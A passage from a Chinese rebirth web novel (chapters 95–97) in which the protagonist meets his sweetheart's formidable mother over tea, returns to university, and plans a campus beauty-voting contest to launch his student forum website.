“陈让，我们整整四天没见了，我多看看你，这样我晚上做梦时，梦里面你的脸才不会那么模糊。” “你傻啊，梦里面又没有色彩，人脸模糊是必然事件……那你这四天都怎么过的？” “陪爷爷奶奶，陪爸爸妈妈，看爸爸妈妈吵架……” “你不是跟我说过，你爸妈都离婚了么，这还吵？” “我也不知道他们为什么吵——陈让，是不是两个人结婚以后，感情就会变质啊……我听孟叔说，爸爸跟妈妈以前感情很好的。” “这个吧，分人……不过大多数夫妻，确实会经历这样的过程，从爱情慢慢过渡到亲情，能适应的就能相濡以沫，携手白头，不能的……就像你爸爸妈妈那样咯。” 林静姝咀嚼一会儿，突然话音一转：“陈让……我们以后会结婚吗？” “额……咱俩当好朋友当的好好的，你怎么突然会有这样的想法？” “因为——”林静姝很严肃的解释，“芊芊说——所有不以结婚为目标的‘谈友爱’都是耍流氓。陈让，我不想耍流氓！” 陈总摸了摸下巴。 虽然林静姝现在的样子，看上去还是呆呆的，但他总觉得这姑娘是在点他。 “这个吧……法律倒也没有规定好朋友不能结婚，但是你妈妈肯定不会同意啊。” “我会好好跟我妈妈讲的，慢慢的、她就不会觉得你配不上我了。” “啊？也就是说，你妈妈现在觉得我配不上你？她怎么会有这么奇怪的想法？我这么的优秀，你那么的普通，明显是你配不上我！” “好吧，很多时候我也觉得自己配不上你，那怎么办啊……” “你得努力提升自己，争取变得跟我一样优秀，譬如我在工作时，你就该安静看会儿书！” “我不看，书没你好看！” “……” 陈总嘴角抽了抽。 “林呦呦，我发现你在耍无赖啊，你年轻轻的难道就要摆烂了？” “反正我再怎么努力，也不可能变得跟你一样优秀啊，所以——” 林静姝瞟了一眼陈让，然后用最怂的语气、说了句最霸气的话。 “所以——本姑娘破罐子破摔！” “噗——”陈让瞪大眼睛，“林呦呦，你老实给我交代，跟谁学的？” 林大美人吐了吐舌头：“芊芊……” “以后不准再跟她学！” 陈让摆出严肃脸。 心里则在想，这姑娘是不是叛逆期到了？ 刚跟自己认识时，她心理年纪顶天八岁。 经过这段时间的成长，大概到了十二三岁。 好吧，确实到了叛逆期。 于是生理年纪只有十八岁的某人，提前许多年体会到了老父亲才有的焦虑。 第95章 初秋也是极好的时令 第九十五章 初秋也是极好的时令 下午陈总带着早就备好的礼品，跟林大美人一起，到了宋家位于旌湖之畔的大别墅——陈让以前弄劈叉了，这栋别墅不是林家的，而是宋家。 陈让从林静姝那儿探听到的信息——林家更有钱，宋家更有底蕴，真正的书香门第，祖上出过好几个翰林。 宋家发迹于德州，虽说早就开枝散叶，德州却还保留许多产业——譬如陈让眼前这栋豪奢“大别野”。 此时太阳已经敛去锋芒，洒下许多温柔光点，给别墅中的芳草古树镀上了柔美金边。 宋女士在客厅接待的某人，而且很强硬地把林静姝赶去了房间——显然她想单独跟陈让聊聊。 没有立刻开聊，而是跟陈让说她有聊天喝茶的习惯，让他先坐，等她把茶煮好。 等就等吧。 陈总安之若素。 好歹两世为人。 前世大小也算个人物。 这点松弛感陈总还是有的。 弥漫水雾中，陈让可以看到宋臻若隐若现的眉眼。 跟林静姝七分相似。 不过眉梢更尖锐。 十分美丽中增了三分凌厉。 隔着好几米，陈让也能感受到，宋女士性格层面的强势。 天性如此也好，后天形成也罢。 想来也只有这样的强势，才能在汇聚全世界最多资本的伦敦金融圈，被誉为“来自中-国的铁娘子”。 “铁娘子”在英国可是指代的“撒切尔夫人”，作为老欧洲的“正黄旗”，英国佬出了名的傲慢，却能这么称呼宋女士，可见她手腕之强硬，能力之卓绝。 观察是相互的。 陈让在揣测宋臻，宋女士也在分析他。 眉眼端正，体型修长，眼神宁静淡泊。 宋臻有些疑惑—— 在她的认知中，这样的眼神，通常那种修道礼佛的世外高人才有。 无欲则刚，所以不卑不亢。 这样的人，任何时候都有一份从容。 可陈让不过是个刚满十八岁的小年轻。 “对付一般年轻人适用的套路，用在这小子身上、怕是不会管用。” “这是个很难拿捏的少年。” “好在这样的小家伙，往往也是骄傲的。” 宋臻思考着对策。 陈总也在想—— 宋女士会用什么策略拿捏自己？ 总不至于说跟电视剧里的烂俗桥段一样，“给你一个亿，离开我女儿”吧？ 应该不至于。 真正的“Old-Money”不会这么Low。 慢条斯理煮好茶，给陈让推了一盏后，宋臻淡淡开口。 “陈让，阿姨首先要感谢你，感谢你这段时间对呦呦的照顾，说说阿姨对你的第一观感吧——” 陈总正襟危坐。 宋臻挑了挑眉：“你是个看着让人很舒服的年轻人，恍惚间，阿姨看着你，倒有些像看我娘家那边的子侄。” “啊？”陈让表情诧异，“宋姨，您娘家那边的子侄，也跟我生得一样好看？” “喵喵喵？” 宋女士不由瞪大眼睛。 瞬间察觉到自己不该做这样的表情——她挥了挥手，示意陈让喝茶。 陈让端起茶杯一饮而尽，然后把茶杯推给宋臻。 “宋姨，还要！” 倒也不是陈总鲸吞牛饮，而是宋女士泡得普洱，茶杯就拇指那么大。 讲道理，这种杯子，给陈总来十杯也不够他润嗓子。 毕竟蜀州这边都喝盖碗茶，没煮茶那么有格调，但是解渴。 宋臻微微皱眉，说你倒是一点儿不知道客气，知道在外面能喝我煮茶的都什么人么？ 陈总选择了“倚小卖小”，说他们又不叫你姨。 宋女士有些明白为什么女儿会对这小子如此上头了。 确实不是个循规蹈矩的主儿。 天马行空，不拘一格。 对当了十八年乖乖女的女儿来说，有着致命的吸引力。 摇摇头后，宋臻又给某人满上一盏，姿势行云流水，颇有煮茶大家的风韵。 陈总看着，心想果然是能够生出林静姝的女人，这该死的优雅啊。 他知道宋臻已经四十一岁了，但是看起来也就三十出头。 这里面有保养的功劳。 更大缘由——陈让觉得其实是来自基因。 “岁月从不败美人”，造物主祂老人家，对大美人向来眷顾。 也就是说，完美继承了宋臻优秀基因的林静姝，将来也会老的很慢很慢。 譬如赵雅芝，一个年龄段有一个年龄段的风韵，哪怕七十岁了也好看的鸭批。 “对了，陈让，你懂茶道？” “宋姨，我怎么可能懂这个，就知道个‘和敬清寂’，还是书上看的……” “可你送我那套茶具选的挺好，品质格调都是极上等，阿姨挺喜欢。” “哦，这个我请教了一个长辈，这位长辈给推荐的……” “那你这位长辈是个大行家，你也算是有心。” “宋姨，虽然我不懂茶道，但我味觉是没问题的，您泡的茶，那是真的好喝。” 某人边说边把早空了的茶盏、再次推给宋臻。 来之前陈总就想通透了，今天甭管他如何发挥，宋女士该瞧不起他还是会瞧不起，该高高在上还是会高高在上，所以他就主打一个松弛感。 守恒定律无处不在——只要你陈总不尴尬，尴尬的就只会是你！ “……” 宋臻眼皮跳了跳，只得再次给某人满上。 不然呢，他都夸自己泡茶好喝了，伸手不打笑脸人。 天聊到这里，好比春节联欢晚会主持人整完了开场白，接下来就得“上节目”。 宋女士也是这么想的，亮出了自己的“燕国地图”。 “陈让，看得出来，你跟林静姝关系挺好，她挺喜欢你，你也挺关心她。按理说，你们年轻人的事情，我们做长辈的不该瞎掺和。” “不过我毕竟是个母亲，还是个刚跟丈夫离婚的母亲，有些话，阿姨不得不跟你清楚——你这么的聪明，应该能够理解的吧。” 陈让笑着说了句“能理解”。 “成长环境的缘故，林静姝对感情方面。远比同龄人迟钝……少年慕艾，人之常情，但是中间那根线，万万不可触碰。” 宋臻这番话，相较于她往常风格，已经非常委婉。 以她跟陈让的地位差距，其实用不着这么委婉，但她得顾及林静姝的感受。 母女俩这段时间，因为陈让，已经发生过不止一次争吵。 无论在外面多么强势，她终究还是个母亲。 拿自己已经开始叛逆的宝贝女儿，并没有太多的办法。 “陈姨，这个您可以放心，我这人对待感情，还是非常认真的。” 陈总没有再插科打诨，而是说起了心里话。 “我想要的、是在林静姝知道什么叫做真正的喜欢以后，依然认定我这个人，而不是趁着她懵懵懂懂、就占了她便宜……” “林静姝确实很单纯，我也确实很世俗，但我可以跟阿姨您保证，哪怕我懂得所有的套路，也不会跟她玩套路，哪怕我对全世界虚伪、也会对她真诚，永远真诚。” 某人的真诚，的确有些打动某位女士，宋臻眉梢略微舒展。 “陈让，你能这么想，那就再好不过。” 心里却是道了声“可惜”。 眼前这个少年，原生家庭终究太差，跟她女儿完全是两个世界的人。 林宋两家几代人的积累，形成的护城河，哪里是一个少年几年努力就能够填平的？ 这个世界很唯物辩证的，哪有那么多废材逆袭、吊打天骄圣子的故事？ 也就是说，如果陈让跟她女儿的继续升温，真到了要逾越雷池那一步，该棒打鸳鸯宋臻还是会棒打鸳鸯。 陈总出了名的“人间清醒”，当然不可能因为宋臻对自己态度稍微缓和了，就以为自己可以打动她。 不过宋臻现在如何看他，他真的没所谓。 哪怕在零九年，也没有多少人能够预见，过两年就会开启的移动互联网时代，对这个意味着什么。 这或许是人类社会，最迅速、最夸张的一轮财富洗牌。 很可能也是最后一轮。 就陈总知道的“历史”—— 大概十年后，垄断的大门就会彻底开启。 那才是所有创业者的噩梦时代。 在下一轮工业革命出现之前，创业就是拿着自己的身家去给社会增加流动性，就是用自己的血汗去润滑这个社会早就生锈的齿轮。 还好陈让是幸运的。 恰巧重生到了移动互联网大时代-开启前的关键节点。 掌握着足够多的信息差，也不缺相应的能力和手腕，在这个大时代追风弄潮，甚至更进一步，“先知”般引领这个时代。 林宋两家几代人搭建起来的护城墙确实够高。 不过那又怎样？ 别说护城墙，山海陈总也给你填平！ 举例说明吧—— 字节跳动的张总，12年开始创业，捣鼓出“今日头条”，然后只用十二年就成中-国首富，身家三千五百亿，第二年更是以恐怖如斯的四千八百亿蝉联。 其实以抖音表现出来的夸张潜力，他成为首富的真正时间节点，还应该再往前推两年——榜单毕竟存在延后性。 也就是说，八零后张总，只用十年，就把所有前浪都拍死在了沙滩上。 这里大概有人出来杠，说这个世界真正的有钱人都不会出现在榜单。 对于这种人，陈总会用关心智障的眼神看着他。 “孩子，送你本《货币战争》回家当圣经供着吧——毕竟你就是这本“玄幻小说”的目标客户。” 讲道理，信息时代，什么都近乎透明，几个亿的财富都藏不住，遑论几千亿。 掌握着那么多信息差，单以财富而论，陈总超过林宋两家，真的不需要太久。 所以——让子弹再飞一会儿吧。 接下来，陈总跟宋臻的聊天，就没什么营养了，就是纯唠嗑。 知道陈让在捣鼓一个校园论坛类型的网站后，宋女士甚至站在自己的角度，给陈总提了些建议。 陈总连连点头，表示十分受教、甚至醍醐灌顶，事实却是“左耳进、右耳出”，一个字都没听进去。 所谓“术业有专攻”，宋女士你个玩金融和房地产的，跟你陈总讲互联网，呵呵哒，你懂个der的互联网！ 所以吧，好为人师是种病，真得治！ 六点左右，见宋女士也没留自己吃完饭的想法，陈总起身告辞，临走前还不忘给某位女士上点儿情绪价值，再次夸她泡的茶好喝。 “陈让，我泡茶的手法其实挺一般，难入大家法眼，你觉得好喝，应该是茶叶的缘故……” 宋女士开始“虚假的谦虚”，接着又假客套了一句，说要不送你一饼。 按照正常逻辑—— 陈让肯定会拒绝，说“宋姨这个不合适”。 接着宋臻佯装一定要送，然后陈让继续推辞。 如此这般，这茬儿也就揭过。 倒不是宋臻舍不得一饼茶，而是这款她最爱喝的宋聘陈茶，存量极为有限，便是她也没多少存货。 这玩意儿就不是单纯有钱就能买的。 却没想到陈让一口答应，然后“打蛇随棍上”，嘿嘿笑着说：“宋姨，您不觉得一饼茶有些少了？要不咱再加一饼，一饼我喝，一饼我拿回去孝敬爸妈。” 宋臻：“……” 还真拿“倚小卖小”、脸皮又厚的陈总没办法。 忍着肉疼，给了某人两小饼比等重黄金贵不知多少倍的宋聘老茶。 也就零九年这个时间节点，宋聘老茶还没后世贵得那么离谱。 否则就这两小饼茶，价值就得超过陈让今天来拜门带的礼物。 宋女士多自矜，肯定不可能亲自送某人。 不过她允许林静姝送一小段。 多小？ 仅限宋家“大别野”门口到公交车站牌。 夕阳余晖之下，天地万物都镀上了昏黄滤镜。 走着走着，这一对“好朋友”，很丝滑的大手牵小手，在地上投下两道细细长长、彼此交错的影子。 “富贵同学，你真的很厉害，居然能跟我妈妈聊那么久，而且她真的没有以前那么讨厌你了，不然不会送你茶叶的。” 林静姝侧着小脑袋，看着自己的“好朋友”，桃花眼中满满都是崇拜。 自己的妈妈有多难相处，她还能不知道？ 陈总心想你妈能送我茶叶，主要是你富贵哥脸皮够厚，不过嘴上选择了小装一下。 “基操，勿六。” 某位学神少女突然来了好奇心。 “陈让，能告诉你，你跟我妈妈聊了那么久，都聊了些什么吗？” “聊你啊——你妈妈说你好吃懒做，长得也不好看，脑袋也不灵光，以后怕是很难许人家，问我要不要发发善心、捏个鼻子咬个牙把你给娶了，还说不会让我吃亏，会给我一大笔嫁妆……” “你骗人，妈妈怎么可能这么说！” “呵呵哒，还好朋友呢，你居然不信任我，咱俩友谊的小船，怕是要翻了！” “唔，那好吧，我假装相信你一下子，所以……富贵同学，你怎么回答我妈妈的？” “那还用说——我肯定拒绝啊！你妈妈也是真忍心，第一次见面，居然就想把我这样的翩翩美少年推进火坑……” 林静姝顿时皱眉。 知道陈让在逗她。 但是听他这么说，却还是抑制不住的很难过。 鼻子酸酸的，桃花眼中渐渐蕴起水雾。 谁让她是那么的喜欢他？ 其实她知道，这家伙眼中没有千山万水，眉宇间藏不住千山暮雪和万里层云。 但是喜欢就是喜欢，怎样都喜欢，没有道理可讲。 陈让这才意识到自己说错话了，他握紧了林静姝明显变得冰凉的小手，赶紧跟她道歉。 学神少女委屈巴巴的说：“陈让，你以后不要再这么欺负我好不好？刚才我真的好难受的。” “安啦——我保证，我发誓。” 陈让郑重点头。 两人说着说着，已经到了站牌。 恰好公交到了。 陈让一个纵步上车，找到座位坐下，车窗探出脑袋，挥手跟某位学神少女告别。 林静姝也在挥手。 夕阳最后一抹余晖倾洒在她身上后，仿佛又拥有了具体形状。 她站在站牌下，看着公交车渐行渐远，直到完全隐没于暮色之中。 抬头看了看天边几朵像极了玫瑰的火烧云，学神少女心中突然涌上悸动。 摸出自己的黑莓手机，给某人发了条短信。 “陈让，很高兴认识你，这句话……想跟你说一万次！” “呦呦同学，巧了不是，能认识你、我也很高兴。” “那……这句话你想跟我说几次？” 某人回了个数字“1”。 林静姝撅起嘴巴——人嘛，总是贪婪的。 “富贵同学，怎么才一次啊？我有一丢丢的不开心了哦。” “什么一次，你是一万次，我是一直说！” 于是某位学神少女的桃花眼，抑制不住的又开始结蜂蜜。 盛夏肯定是最好的季节。 带着橘子味棒棒糖的甜腻，仿佛少女最初的心动，青涩懵懂又不为人知。 其实初秋也是极好的时令。 枯黄的叶片风中坠地，是为了来年春能吐出新绿。 不是只有真诚了，某人现在终于真正少年才有的热烈。 第96章 不许欺负陈让！ 第九十六章 不许欺负陈让！ 陈总回到家后，把两小饼茶都孝敬了老父亲。 “这位老同-志，你儿子还算孝顺吧，逛个街都知道给你买茶！” 老陈看了眼包装后不由皱眉。 “陈让，你小子买到假货了啊，啧啧啧，这商家还真敢往上标，三十年份的宋聘老茶……这玩意儿要是真的，不得管大几十万？” 陈让瘪瘪嘴，说我知道假的啊，但是讲道理，真的您也不配喝，不过老爸你看这包装，再看里面茶饼的成色，假的人家也假的很真，就这两小饼，花了你儿子我小两千！ 陈立青立马心疼钱了，白了自己不打引号的好大儿一眼。 “我说你小子有钱也别这么瞎花啊……” “爸，买都买了，咱就留着慢慢喝呗，千万别拿去送人哦。” “知道知道，这么贵的茶，老子脑抽啊拿去送人！” 儿子明天就要走，今晚老陈家的晚餐比较丰盛。 四菜一汤，三个肉菜，还有一道红烧大鲤鱼——真挺大，五六斤重。 老陈赌咒发誓说是他下午钓的，但是陈让觉得菜市场买的概率更大。 讲道理，就自家老父亲那个技术，去那种大几十块一小时的“赌塘”、都不一定能钓得起来这么大的鲤鱼，遑论野钓。 但是陈总看破不说破。 中年男人不容易，大部分精力都用来支撑家庭，譬如老陈——年轻时也是个文艺咖，现在却也就剩下钓鱼这点爱好。 这顿晚饭，陈让吃得很香，干了足足三大碗白米饭。 这次回校，百分百会更忙，肯定要到寒假才能再回家。 想到好几个月吃不到妈妈做的饭菜，陈总也给李女士上了情绪价值。 “妈，我发现你还是爱我的，今天的菜真好吃，尤其是这道红烧大鲤鱼，搞得我都不想走了。” 李女士没有上套，翻了个白眼。 “别，臭小子你还是早点走吧，明天我也要上班了，你就继续待家里，也别指望我再给你做饭。” 陈让看向陈立青：“爸，有没有觉得你老婆说话太过分了？” “是有点过分，”陈立青点了点头，“要不我揍她儿子一顿，给你出出气？” 陈让：“……” 好吧——终究是错付了。 怎么能指望某个资深“耙耳朵”给自己撑腰？ 都喜欢钓鱼，老爸你就不能跟人家“贺天帝”学学？ 第二天，陈让孤身启程返校。 没跟林静姝一起。 她还要在德州呆两天，跟宋女士一道去看看老家几个长辈。 好大儿黄博文嘛——大黄哥多孝顺，表示要在家里的早餐店多帮两天忙。 一路舟车劳顿略过不表。 五号中午，陈让到了学校，进了宿舍，发现自己居然不是第一个返校的。 王大少已经在了，正趴电脑前，捣鼓他的装逼系列帖。 陈总疑惑，问了他一嘴儿，说五哥，你这么早返校，就为了更新你的帖子？不过你在家也能更新的啊。 王子聪咕哝着回复，说在宿舍逼仄环境写惯了，家里上百平的书房写着反而不得劲儿，时不时还会被我爸打扰，带我去参加各种豪门酒会，严重影响到你五哥的创作灵感了，这不就提前返校咯。 陈总：“……” 他觉得王老五这货是真的牛批。 装逼都不是习惯了，而是深-入骨髓的本能。 陈让把宿舍所有窗户打开通风。 王大少估计是遇到了创作瓶颈，字没敲几个，烟却抽了半包，搞得宿舍都是烟味。 陈让心想老子一点烟草不碰的，要年纪轻轻的就得个肺癌，找他妈谁哭去？ 王子聪突然不码字了，抬头看着陈让。 “六子，五哥我最近发的帖子，你都看了没？” “看了啊，五哥，你最近装的逼是不是有点不接地气了哟，我发现你多了好多黑子。” “切，他们就是嫉妒我——六子，你越说这个我越来气，你那网站的用户，素质普遍都不怎么样啊，好多黑子都嚷嚷着要线下真实我，你五哥会怕他们？不给他们地址，是觉得欺负这些个小朋友，并不能带给我任何成就感！” “你开心就好……” 陈让嘴角直抽。 也不知道哪个棒槌前两天诚惶诚恐给他打电话，非常关心“众众网”的安全等级？ 沉吟片刻，陈总决定给陷入创作瓶颈的王少爷提供一点思路。 “五哥，我觉得你应该适当调整一下风格，单纯炫耀和装逼，拉仇恨不说，内容也过于单调，你那些粉丝很容易就看腻歪了……” “额，我也有这种感觉，那该怎么调整？” “咱试试搞笑路线？我觉得五哥你在这方面拥有无与伦比的天赋，我很好看你的！” “你他妈居然觉得我像谐星？陈六子你不尊重我！” “王老五，你不想当谐星也行，那你能不能别他妈老剽窃我的人生啊？有没有两个校花级美女为你争风吃醋，有没有天仙级小可爱整天粘着你，是不是校文体部副部长，系花有没有舔你，能不能召唤劳斯莱斯，老子还能不知道？” “咳……那搞笑路线具体怎么个走法？” “夸张，夸张，还他妈是夸张，反正你都是吹逼，那就再吹大点——” “具体说说？” “我给你提供个模版啊——” 陈让摸着下巴，回忆了一番曾经看过的“王大锤”系列。 “譬如说，我叫王少爷、每天从五万多平米的大床醒来，面对两百多名漂亮的女仆，然而我并没有因为富有而感到快乐，我只希望能拥有一段刻骨铭心的爱，走开，你们这些该死的钞票……” 王子聪越听眼睛越亮。 还真是条他从未设想过的道路。 越想越觉得打开了新世界的大门，也不搭理陈让了，立马打开电脑，开始啪啪啪的写帖子。 陈让忍俊不禁。 这货要是晚生个十年，在那个短视频横行、娱乐至死的时代，搞不好真能成为一个拥趸如云的大网红。 现在嘛，“众众网”流量终归太小，且文字也没有视频那么有冲击力，像王子聪这样的先天网红圣体，属于是被时代埋没了。 给王子聪指点完迷津，陈让洗了把冷水脸，先去食堂胡乱巴拉几口饭，接着直奔学校图书馆二楼，在这里接见了他仅有的三个员工。 国庆假期，某人在家闲得蛋疼，杨艺、李云飞和楚云龙三人，却是忙得脚不沾地。 陈总表示这个节奏就很对。 讲道理，员工不辛苦，老板怎么开路虎？ 没有废话环节，会议直接开始。 杨艺先开口，讲了她负责的技术板块。 大问题都解决了，负载测试和安全测试也都完成，剩下都是修修补补。 也就是说，“众众网”随时都可以公测。 技术层面陈总完全不懂，他也没有提任何意见，而是给了杨艺最大的自主权。 楚云龙第二个开讲，跟陈让汇报了他这几天、对众众网的UI设计和界面布局、做了哪些美化和改良。 蜀大设计专业年年绩点前五的学霸就是有货。 审美没的说。 陈让采纳了大部分提议，但是也加上了些自己的看法。 设计和美工陈总同样不懂，但是没看过猪不等于没吃过猪肉。 他加上的东西，来自于后世那几个非常成功的类论坛网站。 “拿来主义”嘛，重生者基操。 李云飞第三个开讲，说他负责的内容版块。 陈让听完，不吝赞美，狠夸了这家伙一顿。 论纯天赋，三人中李云飞应该是最差的，但是架不住这家伙精力旺盛。 国庆假期这几天，他每天起码有十二个小时在看稿。 结果就是陈总这边得到了两百多篇优质稿件。 陈让最后一个开讲——他负责营销。 “三位，咱们网站公测后，引流跟盈利肯定都很重要，我的思路啊，是把这两者结合起来搞……” “在大多数人看来，网上的东西都虚，怎样才能吸引学校周围的商家，来我们网站砸钱打广告呢？咱们得捣鼓点能让他们看得见、摸得着的东西！” “譬如说——我们可以在众众网搞得‘校园女神大赛’！” 陈总巴拉巴拉的，把自己的大概想法，笼统跟三人讲了一遍。 零九年什么最火？ 想都不用想，肯定是各大电视台举办的选秀。 超女、快男、加油好男儿、我型我秀……诸如此类，捧出了一大批草根明星。 三年后还有《好声音》的横空出世。 同样火的批爆。 彻底点燃了12年那个夏天。 “和尚摸得，我也摸得。” 陈总也打算搞选秀。 当然不可能线下搞——学校不会允许的。 主要是在线上搞，出结果后，搞个简单的颁奖仪式就行。 蜀大各大院系，都有各自的院花、系花。 活动搞起来了，这么多“花”，总要争个高低吧？ 陈总办校园女神大赛，就是利用了这点，让大家伙儿在线上，为自己心仪的女神投票打榜。 只要把节奏带好了，粉丝经济加美女经济，没道理吃不开的。 赛制可以参考世界杯。 预选赛，小组赛，淘汰赛……整套流程下来，噱头绝对拉满。 众众网的日活，在这个过程中必将节节攀升，亦能大大增强用户黏度。 三人听着，眼睛都开始发亮。 有东西的！ 老板真有东西的！ 李云飞先吹起了陈总的彩虹屁。 “老板，你真是营销界的天才啊，我对您的崇拜，犹如滔滔江水连绵不绝，又如黄河泛滥，一发不可收拾……” 楚云龙白了自己好哥们儿一眼。 阿飞你这么不要逼脸的？ 怎么就把这么肉麻的话说得出来？ 然后自己很丝滑的开口：“老板，你是电，你是光，你是唯一的神话……请收下我的膝盖吧！” “……” 不知道这哥俩尬不尬，反正陈总尬的批爆。 赶紧摆手让这俩货收了神通。 然后给这俩货安排了支线任务。 “阿飞你文字功底不错，回头先写个策划书，然后跟老楚一起，拿给咱们学校周边那些商家瞅瞅……” “酒楼、驾校、超市，附近写字楼企业……问他们有没有意向，赞助咱们这个大赛，可以冠名，也可以在各大版块打广告……” “具体价位嘛——回头我给你们一个各级页面的价位表。” 这是正事。 哥俩没再嘻嘻哈哈，拍着胸脯说保证完成任务。 杨艺有些不乐意了，说老板你就不给我安排点什么事？ 陈总白她一眼。 “学姐，你搞技术的，参合这些琐事儿干嘛，把本职工作做好比什么都强。” “众众网公测后，靠着校园女神大赛的噱头，日活量肯定会飙升，你们技术团队，到时候可千万别拉胯啊，别没事儿网站就崩溃……” 杨艺先是点头，然后跟陈总诉苦，说她那边人手已经严重不足了。 “没人就招，咱蜀大计科学院招不到那么多，就去隔壁的电子科大！” 某人有心理准备的。 任何互联网企业，起步阶段都要烧钱。 这是客观事实。 并不会因为陈富贵是个重生者就能少烧一点。 第二天，十月六号，陈总找了家中介，忙忙碌碌一整天，把公司注册了。 这事儿不找中介也能办，但是陈让嫌麻烦。 讲道理，做生意又不是做-爱，哪能什么步骤都自己来。 众众网定在十月八号凌晨上线。 七号一整天，陈总带着星环科技三大骨干、以及大几十个临时工，泡在学校机房，进行网站公测前的最后调试。 集思广益。 大家聚在一起，发现问题再解决问题。 上午到下午，下午到傍晚，直到晚上十点过，距离公测版本上线还不到两个小时，再找不到任何毛病后，陈让起身伸了个懒腰。 伴随骨节阵阵响动，他开始打总结。 “各位，这几天都辛苦了，众众网还有不到两个小时就要公测……不知道你们怎么想的，反正我有种老婆怀胎十月终于要生产的既视感……” “阿飞，等众众网公测版本上线后，就由你们内容部这边负责发帖，把网站的话题，往校园女神大赛这边引，具体怎么做，不用我教你了吧？” “老板，就是带节奏嘛，有节奏就扩大节奏，没节奏咱们就制造节奏……” 李云飞巴拉巴拉说了起来。 听他说完，陈总跟他比了个大拇指。 九八五大学生学东西就是快。 后世各大平台的引流手段，陈让只大概讲了一遍。 李云飞却能很快融会贯通。 甚至还想了不少契合这个时代的小妙招。 陈让觉得，这小子跟“达奇·范德林德”肯定有很多共同语言，都尼玛“点子王”！ “杨艺学姐，你们技术部的工作，还是最繁重的，等内容部那边造足噱头后，大赛就会正式开启……我估摸着也就在五六天后，那时你们内容团队，必须把导流页面跟投票程序做出来，还有每日签到、实时更新票数等等……” 杨艺点点头，表示没问题。 “手中有粮，心中不慌”，眼目前的星环科技，技术部人手是最足的。 “老楚，这几天你辛苦些，带你们设计部的去跑跑市场，拉拉赞助……虽然这不是你们设计部的本职工作，但除了你们，暂时也找不到其他人手……” 设计部本职工作早就完成。 所以被陈总抓了壮丁，让他们几个去跑市场、拉赞助。 草创阶段就是如此，没办法正规化，“女人当男人用，男人当牲口用”，这才是常态。 安排完工作后，陈总开始给牛马们上价值——也可以理解成洗脑和PUA。 什么叫狗资本家？ 看看陈总你就懂了。 “诸位，众众网公测后举办的校园女神大赛，才是我们真正的第一战！” “咱们不仅要赢，还要赢得漂亮！” “我希望五年后，我能带着大家伙儿到纳斯达克敲钟！” “阿里巴巴有‘十八罗汉’，咱们星环科技、为什么不能有‘三十六天罡’？” 出乎陈总意料，画饼完毕后，牛马们并没有他想象的兴奋，只是象征性鼓了鼓掌，零零碎碎。 “不至于吧——难道老子画饼的功力下降了？” 陈总有些怀疑自我。 不过他很快弄清楚了冷场的原因。 公司上市，拿股权和分红……老油条们肯定知道这个意味着“财富自由”。 但是这帮愚蠢又清澈的当代大学生，却还不能理解。 也就是说，陈总画了个大家都看不懂的饼。 一念至此，他换了话术。 “好吧，咱们聊点实际的，只要大赛能够成功，我每人发五百块钱奖金！” “老板万岁！” “威武！” “文成武德，一统江湖！” 果然是帮愚蠢又清澈的大学生，立马吹起了陈总的彩虹屁。 陈总不由翻白眼。 这帮货也就这点追求。 什么时候才能见贤思齐、跟富贵大帝学学，心里装点星辰大海？ 陈让五号到校，林静姝则是六号下午到的。 林大美人刚到校，就给自己的“好朋友”发信息，说跟他已经整整两天没见，等量换算一下就是六年，让某人赶紧陪她去踩蚂蚁。 此时陈总还在外面注册公司，只得跟林静姝说，你富贵哥今天指定是不行了，让她忍忍，明天再去踩蚂蚁。 结果第二天还是没能踩成，陈让一整天都泡在学校机房。 林静姝绝对是住在城堡的真公主，性格层面，却没有任何的刁蛮任性。 明明想某人想得抓心挠肝，这两天却都硬生生憋住了，甚至没跟他发一条消息。 七号中午，跟叶芊芊结伴去食堂吃了午饭后，姐妹俩去莫愁湖看那条传说中成了精的大鲤鱼。 大鲤鱼成精肯定是以讹传讹，不过它大是真的大，起码有三十斤，绝对是个“鱼学长”。 也就蜀大明令禁止不准在校内垂钓，否则这么大条“鱼学长”，肯定早被钓鱼佬们戕害。 看大鲤鱼是叶芊芊提议的。 整个过程，林静姝压根就么看。 她始终盯着手机，看着以前陈让给她发的那些短信，一条一条的看，时不时傻笑。 叶芊芊无语又心疼。 若非亲眼所见，谁又敢相信，天仙少女林静姝会是个该死的恋爱脑？ 本该高在云端的神女，为陈让谪落凡尘不说，还在跟他的相处中，卑微到了尘埃里。 明明想得要死，从昨天下午就开始抓心挠肝，却因为怕打扰到他，怂到一条短信都不敢发。 她要有林静姝这么漂亮，不把陈让拿捏的死死？ 早晚都必须要给她请安那种。 “林娘娘吉祥！” “小让子，好大的胆子，敢惹娘娘不开心，今儿就好生跪着吧！” “渣——” 叶格格甚至还脑补了一段清宫戏，在幻想中给好姐妹出了口恶气！ 脑补的过程，她不住发笑，“库库库”的。 讲道理，要是陈让真穿着太监服，也不知道会有多滑稽。 “芊芊，你在笑什么吖？” “呦呦，我在脑袋惩罚了陈让这家伙一顿，狠狠给你出了气。” “芊芊，不许你欺负陈让！” “额，我没真欺负他啊，脑补而已……” “脑补也不许。” 林静姝语气严肃，小表情变得奶凶奶凶。 第97章 道爷我成了啊！ 第九十七章 道爷我成了啊！ 二零零九年十月八号，国庆长假结束后，蜀大迎来了开课日。 经济学院排课的老师肯定有毒——明知道长假结束后，大家都容易起不来，却在这天安排了早八。 陈总是早起了的，七点就硬撑着爬了起来。 不过没去上课的阶级教室，而是去了学校机房。 杨艺和她麾下技术团队，不是大四生就是研究生，没有那么多课，基本也都在。 陈让到场后，召集大家开了个早会——主要是听杨艺汇报“众众网”公测版本上线后、遇到了哪些问题，以及应对方案。 世上许多事都是这样的，“计划赶不上变化”，无论之前准备多么充分，真开始做了，还是会冒出问题。 这跟细不细心没关系，纯粹就是偶然性在作祟——毕竟世界是量子态的。 听杨艺汇报完，陈总选择让大家都发挥“主观能动性”，一起探讨该如何解决。 一个小时后，探讨会结束，集思广益之下，问题基本都有了解决方案。 所以鲁迅说得对——三个臭皮匠合成一个诸葛亮！ 陈让看了看时间，发现已经八点二十了，赶紧离了机房，着急忙慌往上课的阶梯教室赶。 在众众网真正做出成绩之前，陈总觉得自己还是有必要再凹一凹自己的学霸人设。 能不旷课还是尽量不旷课。 虽说等他赶到教室，第一节课估摸着都要结束了，但是迟到跟旷课，毕竟不是一个概念。 今早头两节课是大学英语。 值得提一嘴儿——大学英语属于公共大课，经济专业和金融专业会混在一起上，陈让所在的金融一班，恰巧跟林静姝所在的经济一班编在一起。 陈总一路小跑到了教学楼，不住喘着粗气。 然后发现迟到的不止他一个，六零六哥仨，此时居然都焉头巴脑的站在教室外。 看这架势、竟是在罚站。 